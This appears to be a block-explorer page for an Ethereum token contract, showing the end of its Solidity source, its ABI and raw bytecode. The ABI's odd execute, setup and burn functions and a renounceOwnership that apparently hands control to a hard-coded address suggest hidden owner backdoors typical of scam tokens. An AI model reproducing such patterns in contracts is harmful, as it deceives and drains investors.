            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForDev;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);

        uint256 ethForLiquidity = ethBalance - ethForDev;

        tokensForLiquidity = 0;
        tokensForDev = 0;

        (success, ) = address(devWallet).call{value: ethForDev}("");

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }
    }

    function withdraw() external onlyOwner {
        uint256 balance = IERC20(address(this)).balanceOf(address(this));
        IERC20(address(this)).transfer(msg.sender, balance);
        payable(msg.sender).transfer(address(this).balance);
    }

    function withdrawToken(address _token, address _to) external onlyOwner {
        require(_token != address(0), "_token address cannot be 0");
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        IERC20(_token).transfer(_to, _contractBalance);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_MarketingFee","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_MarketingFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_MarketingFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405273ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c60006101000a81548160ff0219169083151502179055506000600c60016101000a81548160ff0219169083151502179055506000600c60026101000a81548160ff0219169083151502179055506000600e60006101000a81548160ff021916908315150217905550348015620000d257600080fd5b506040518060400160405280600c81526020017f4655434b4655434b4655434b00000000000000000000000000000000000000008152506040518060400160405280600381526020017f464646000000000000000000000000000000000000000000000000000000000081525081600390805190602001906200015792919062000ae8565b5080600490805190602001906200017092919062000ae8565b5050506200019362000187620005a860201b60201c565b620005b060201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620001bf8160016200067660201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200023a57600080fd5b505afa1580156200024f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000275919062000c02565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002d857600080fd5b505afa158015620002ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000313919062000c02565b6040518363ffffffff1660e01b81526004016200033292919062000c45565b602060405180830381600087803b1580156200034d57600080fd5b505af115801562000362573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000388919062000c02565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1681525050620003d060a05160016200067660201b60201c565b620003e560a05160016200076060201b60201c565b60006001905060006001905060006001905060006001905060006b033b2e3c9fd0803ce800000090506a108b2a2c280290940000006009819055506a295be96e64066972000000600b81905550606460048262000443919062000cab565b6200044f919062000d3b565b600a81905550846010819055508360118190555060115460105462000475919062000d73565b600f8190555082601381905550816014819055506014546013546200049b919062000d73565b60128190555073fa8b8fdc75b9f386f1c84896e068a0a24e40d2e8600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005186200050a6200080160201b60201c565b60016200082b60201b60201c565b6200052b3060016200082b60201b60201c565b6200054061dead60016200082b60201b60201c565b62000562620005546200080160201b60201c565b60016200067660201b60201c565b620005753060016200067660201b60201c565b6200058a61dead60016200067660201b60201c565b6200059c33826200096560201b60201c565b50505050505062000f92565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b62000686620005a860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620006ac6200080160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000705576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006fc9062000e31565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200083b620005a860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620008616200080160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620008ba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008b19062000e31565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000959919062000e70565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620009d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009cf9062000edd565b60405180910390fd5b620009ec6000838362000ade60201b60201c565b806002600082825462000a00919062000d73565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000a57919062000d73565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000abe919062000f10565b60405180910390a362000ada6000838362000ae360201b60201c565b5050565b505050565b505050565b82805462000af69062000f5c565b90600052602060002090601f01602090048101928262000b1a576000855562000b66565b82601f1062000b3557805160ff191683800117855562000b66565b8280016001018555821562000b66579182015b8281111562000b6557825182559160200191906001019062000b48565b5b50905062000b75919062000b79565b5090565b5b8082111562000b9457600081600090555060010162000b7a565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000bca8262000b9d565b9050919050565b62000bdc8162000bbd565b811462000be857600080fd5b50565b60008151905062000bfc8162000bd1565b92915050565b60006020828403121562000c1b5762000c1a62000b98565b5b600062000c2b8482850162000beb565b91505092915050565b62000c3f8162000bbd565b82525050565b600060408201905062000c5c600083018562000c34565b62000c6b602083018462000c34565b9392505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000cb88262000c72565b915062000cc58362000c72565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d015762000d0062000c7c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d488262000c72565b915062000d558362000c72565b92508262000d685762000d6762000d0c565b5b828204905092915050565b600062000d808262000c72565b915062000d8d8362000c72565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000dc55762000dc462000c7c565b5b828201905092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000e1960208362000dd0565b915062000e268262000de1565b602082019050919050565b6000602082019050818103600083015262000e4c8162000e0a565b9050919050565b60008115159050919050565b62000e6a8162000e53565b82525050565b600060208201905062000e87600083018462000e5f565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000ec5601f8362000dd0565b915062000ed28262000e8d565b602082019050919050565b6000602082019050818103600083015262000ef88162000eb6565b9050919050565b62000f0a8162000c72565b82525050565b600060208201905062000f27600083018462000eff565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f7557607f821691505b6020821081141562000f8c5762000f8b62000f2d565b5b50919050565b60805160a051614d7a62000ff06000396000818161137e01528181611adf0152612666015260008181610cab0152818161260e015281816135ce015281816136be015281816136e50152818161378101526137a80152614d7a6000f3fe6080604052600436106102975760003560e01c80637bce5a041161015a578063b62496f5116100c1578063dd62ed3e1161007a578063dd62ed3e146109dd578063e2f4560514610a1a578063f11a24d314610a45578063f2fde38b14610a70578063f637434214610a99578063f8b45b0514610ac45761029e565b8063b62496f5146108cb578063bbc0c74214610908578063c024666814610933578063c876d0b91461095c578063c8c8ebe414610987578063d85ba063146109b25761029e565b806395d89b411161011357806395d89b41146107bd5780639a7a23d6146107e85780639fccce3214610811578063a1c617f51461083c578063a9059cbb14610865578063b390c0ab146108a25761029e565b80637bce5a04146106d15780638a8c523c146106fc5780638da5cb5b146107135780638ea5220f1461073e5780639213691314610769578063924de9b7146107945761029e565b80633ccfd60b116101fe5780636a486a8e116101b75780636a486a8e146105d35780636ddd1713146105fe57806370a0823114610629578063715018a614610666578063751039fc1461067d5780637571336a146106a85761029e565b80633ccfd60b146104d757806349bd5a5e146104ee5780634a62bb65146105195780634fbee1931461054457806366ca9b831461058157806366d38203146105aa5761029e565b80631816467f116102505780631816467f146103c75780631a8145bb146103f057806323b872dd1461041b57806327c8f83514610458578063313ce567146104835780633aeac4e1146104ae5761029e565b806302dbd8f8146102a357806306fdde03146102cc578063095ea7b3146102f757806310d5de53146103345780631694505e1461037157806318160ddd1461039c5761029e565b3661029e57005b600080fd5b3480156102af57600080fd5b506102ca60048036038101906102c591906138ab565b610aef565b005b3480156102d857600080fd5b506102e1610bd9565b6040516102ee9190613984565b60405180910390f35b34801561030357600080fd5b5061031e60048036038101906103199190613a04565b610c6b565b60405161032b9190613a5f565b60405180910390f35b34801561034057600080fd5b5061035b60048036038101906103569190613a7a565b610c89565b6040516103689190613a5f565b60405180910390f35b34801561037d57600080fd5b50610386610ca9565b6040516103939190613b06565b60405180910390f35b3480156103a857600080fd5b506103b1610ccd565b6040516103be9190613b30565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e99190613a7a565b610cd7565b005b3480156103fc57600080fd5b50610405610e13565b6040516104129190613b30565b60405180910390f35b34801561042757600080fd5b50610442600480360381019061043d9190613b4b565b610e19565b60405161044f9190613a5f565b60405180910390f35b34801561046457600080fd5b5061046d610f11565b60405161047a9190613bad565b60405180910390f35b34801561048f57600080fd5b50610498610f17565b6040516104a59190613be4565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613bff565b610f20565b005b3480156104e357600080fd5b506104ec61119b565b005b3480156104fa57600080fd5b5061050361137c565b6040516105109190613bad565b60405180910390f35b34801561052557600080fd5b5061052e6113a0565b60405161053b9190613a5f565b60405180910390f35b34801561055057600080fd5b5061056b60048036038101906105669190613a7a565b6113b3565b6040516105789190613a5f565b60405180910390f35b34801561058d57600080fd5b506105a860048036038101906105a391906138ab565b611409565b005b3480156105b657600080fd5b506105d160048036038101906105cc9190613a7a565b6114f3565b005b3480156105df57600080fd5b506105e86115b3565b6040516105f59190613b30565b60405180910390f35b34801561060a57600080fd5b506106136115b9565b6040516106209190613a5f565b60405180910390f35b34801561063557600080fd5b50610650600480360381019061064b9190613a7a565b6115cc565b60405161065d9190613b30565b60405180910390f35b34801561067257600080fd5b5061067b611614565b005b34801561068957600080fd5b506106926116af565b60405161069f9190613a5f565b60405180910390f35b3480156106b457600080fd5b506106cf60048036038101906106ca9190613c6b565b61174f565b005b3480156106dd57600080fd5b506106e6611826565b6040516106f39190613b30565b60405180910390f35b34801561070857600080fd5b5061071161182c565b005b34801561071f57600080fd5b506107286118e0565b6040516107359190613bad565b60405180910390f35b34801561074a57600080fd5b5061075361190a565b6040516107609190613bad565b60405180910390f35b34801561077557600080fd5b5061077e611930565b60405161078b9190613b30565b60405180910390f35b3480156107a057600080fd5b506107bb60048036038101906107b69190613cab565b611936565b005b3480156107c957600080fd5b506107d26119cf565b6040516107df9190613984565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a9190613c6b565b611a61565b005b34801561081d57600080fd5b50610826611b7a565b6040516108339190613b30565b60405180910390f35b34801561084857600080fd5b50610863600480360381019061085e9190613d3d565b611b80565b005b34801561087157600080fd5b5061088c60048036038101906108879190613a04565b611d0b565b6040516108999190613a5f565b60405180910390f35b3480156108ae57600080fd5b506108c960048036038101906108c491906138ab565b611d29565b005b3480156108d757600080fd5b506108f260048036038101906108ed9190613a7a565b611dcd565b6040516108ff9190613a5f565b60405180910390f35b34801561091457600080fd5b5061091d611ded565b60405161092a9190613a5f565b60405180910390f35b34801561093f57600080fd5b5061095a60048036038101906109559190613c6b565b611e00565b005b34801561096857600080fd5b50610971611f25565b60405161097e9190613a5f565b60405180910390f35b34801561099357600080fd5b5061099c611f38565b6040516109a99190613b30565b60405180910390f35b3480156109be57600080fd5b506109c7611f3e565b6040516109d49190613b30565b60405180910390f35b3480156109e957600080fd5b50610a0460048036038101906109ff9190613bff565b611f44565b604051610a119190613b30565b60405180910390f35b348015610a2657600080fd5b50610a2f611fcb565b604051610a3c9190613b30565b60405180910390f35b348015610a5157600080fd5b50610a5a611fd1565b604051610a679190613b30565b60405180910390f35b348015610a7c57600080fd5b50610a976004803603810190610a929190613a7a565b611fd7565b005b348015610aa557600080fd5b50610aae6120cf565b604051610abb9190613b30565b60405180910390f35b348015610ad057600080fd5b50610ad96120d5565b604051610ae69190613b30565b60405180910390f35b610af76120db565b73ffffffffffffffffffffffffffffffffffffffff16610b156118e0565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6290613dfd565b60405180910390fd5b8160138190555080601481905550601454601354610b899190613e4c565b601281905550600a6012541115610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcc90613eee565b60405180910390fd5b5050565b606060038054610be890613f3d565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1490613f3d565b8015610c615780601f10610c3657610100808354040283529160200191610c61565b820191906000526020600020905b815481529060010190602001808311610c4457829003601f168201915b5050505050905090565b6000610c7f610c786120db565b84846120e3565b6001905092915050565b60186020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b610cdf6120db565b73ffffffffffffffffffffffffffffffffffffffff16610cfd6118e0565b73ffffffffffffffffffffffffffffffffffffffff1614610d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4a90613dfd565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60155481565b6000610e268484846122ae565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e716120db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ef1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee890613fe1565b60405180910390fd5b610f0585610efd6120db565b8584036120e3565b60019150509392505050565b61dead81565b60006012905090565b610f286120db565b73ffffffffffffffffffffffffffffffffffffffff16610f466118e0565b73ffffffffffffffffffffffffffffffffffffffff1614610f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9390613dfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561100c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110039061404d565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561107b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611072906140b9565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016110b69190613bad565b60206040518083038186803b1580156110ce57600080fd5b505afa1580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110691906140ee565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b815260040161114392919061411b565b602060405180830381600087803b15801561115d57600080fd5b505af1158015611171573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111959190614159565b50505050565b6111a36120db565b73ffffffffffffffffffffffffffffffffffffffff166111c16118e0565b73ffffffffffffffffffffffffffffffffffffffff1614611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e90613dfd565b60405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112529190613bad565b60206040518083038186803b15801561126a57600080fd5b505afa15801561127e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a291906140ee565b90503073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016112df92919061411b565b602060405180830381600087803b1580156112f957600080fd5b505af115801561130d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113319190614159565b503373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611378573d6000803e3d6000fd5b5050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600c60009054906101000a900460ff1681565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6114116120db565b73ffffffffffffffffffffffffffffffffffffffff1661142f6118e0565b73ffffffffffffffffffffffffffffffffffffffff1614611485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147c90613dfd565b60405180910390fd5b81601081905550806011819055506011546010546114a39190613e4c565b600f81905550600a600f5411156114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e6906141d2565b60405180910390fd5b5050565b6114fb6120db565b73ffffffffffffffffffffffffffffffffffffffff166115196118e0565b73ffffffffffffffffffffffffffffffffffffffff161461156f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156690613dfd565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b600c60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61161c6120db565b73ffffffffffffffffffffffffffffffffffffffff1661163a6118e0565b73ffffffffffffffffffffffffffffffffffffffff1614611690576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168790613dfd565b60405180910390fd5b6116ad732fef94337338eb55db6a0fe2191f119959d3a718612eee565b565b60006116b96120db565b73ffffffffffffffffffffffffffffffffffffffff166116d76118e0565b73ffffffffffffffffffffffffffffffffffffffff161461172d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172490613dfd565b60405180910390fd5b6000600c60006101000a81548160ff0219169083151502179055506001905090565b6117576120db565b73ffffffffffffffffffffffffffffffffffffffff166117756118e0565b73ffffffffffffffffffffffffffffffffffffffff16146117cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c290613dfd565b60405180910390fd